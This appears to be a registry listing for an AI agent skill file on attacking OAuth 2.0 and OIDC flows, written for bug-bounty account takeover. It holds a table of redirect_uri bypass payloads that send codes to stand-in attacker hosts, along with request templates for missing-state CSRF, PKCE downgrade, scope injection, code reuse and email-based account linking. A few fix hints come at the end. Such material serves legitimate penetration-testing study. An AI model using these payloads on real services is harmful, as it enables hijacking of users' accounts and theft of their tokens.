OAuth 2.0 / OIDC attacks — redirect_uri bypass, state CSRF, code leak via Referer, response_type confusion, PKCE downgrade, scope creep, ATO chains.
63
75%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.mdOAuth bugs are the single highest-paying ATO vector in modern bug bounty. Every B2B SaaS has an OAuth surface; many implement it wrong.
# Discovery
curl -s https://target/.well-known/openid-configuration | jq
# Key endpoints to identify:
# - /authorize (where redirect_uri/client_id/scope arrive)
# - /token (where code exchanges for tokens)
# - /userinfo (claims about user)
# - /jwks.json (signing keys, see jwt/SKILL.md)
# - /revoke (sometimes overpermissive)Capture a normal flow in Burp. Note: client_id, redirect_uri, state,
scope, response_type, code_challenge (PKCE).
The #1 OAuth bug class. Server's allowlist regex is too loose:
| Bypass | Example |
|---|---|
| Path append | https://target.com/callback/../../evil |
| Subdomain wildcard | https://target.com.evil.com/cb (server matches *.target.com) |
| Userinfo trick | https://target.com@evil.com/cb |
| Path-traversal in fragment | https://target.com/cb#@evil.com |
| Open-redirect chain | redirect_uri=https://target.com/known-redirect?to=evil.com |
| Localhost / loopback | redirect_uri=http://localhost:1337 (often allowlisted) |
data: URI | redirect_uri=data:text/html,<script>... (rare but devastating) |
| Mixed-protocol | http:// accepted where https:// required |
| URL-encoded slash | https://target.com%2Fcallback%2F@evil.com |
| Different fragment behavior | redirect_uri=https://evil.com#https://target.com/cb |
Test ALL of these. paramspider + Burp Intruder w/ payload list = systematic.
state should bind the auth request to the user's session. Missing or
predictable state → attacker initiates OAuth in own browser, sends victim
the URL, victim clicks → attacker's account now linked to victim's identity.
GET /authorize?response_type=code
&client_id=...
&redirect_uri=https://target.com/cb
&state= ← empty or predictablePublic clients (mobile, SPA) SHOULD use PKCE. If server accepts
code_verifier omission for a flow that should require it:
POST /token
client_id=mobile-app
code=<stolen_code>
# Note: no code_verifier sentSome servers fall back to non-PKCE flow → stolen code exchanges fine.
Some servers don't invalidate codes after first exchange. Capture the code (via referer leak, IDOR, log scrape) → exchange in attacker's session for victim's tokens.
codeSome apps render auth-callback as a regular page that fetches resources
from third-party CDNs. The full URL (including ?code=...) is sent in
Referer header to those CDNs. Attacker who owns / can compromise a
CDN link extracts the code.
Test: visit the callback URL, observe Referer to all third-party hosts.
POST /token
grant_type=authorization_code
code=...
scope=read write admin ← inject elevated scopeSome servers honor a scope parameter at token-exchange time and don't
re-validate against original /authorize scope.
The hybrid flow (response_type=code id_token) may behave differently:
Some servers trust client_id as the only identifier. If two clients
share a redirect_uri pattern, you can re-use one's code as another:
client_id=trusted-internal-app
redirect_uri=https://attacker.com/cb (also allowlisted for trusted app!)The classic ATO via OAuth:
"Sign in with Google" can link a NEW Google account to an EXISTING email-password account if the server matches solely by email. Attacker registers victim@target-mail.com (a typosquat or sub-add), starts OAuth, links to victim's existing account.
oauthtoolkit — Tom Hudson's automationoauth2-test Python lib for fuzz| Bug | Typical |
|---|---|
| redirect_uri bypass on real client → code to attacker | Critical 9.8 (full ATO) |
| Missing state on social-login | High 8.0 (one-click account hijack) |
| Scope creep accepted | High 8.0 |
| PKCE downgrade on public client | High 7.5 |
| Code reuse accepted | High 8.0 |
| Open-redirect chain extension only | Medium 6.0 |
| Account-linking via email | High-Critical depending on impact |
redirect_uri (case-sensitive, full URL, no path manipulation)state bound to sessionscope in token request that exceeds the original /authorize scopeskills/_corpus/payloads/OAuth Misconfiguration/skills/exploit/web/ato-methodology/SKILL.mdskills/exploit/web/open-redirect/SKILL.md0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.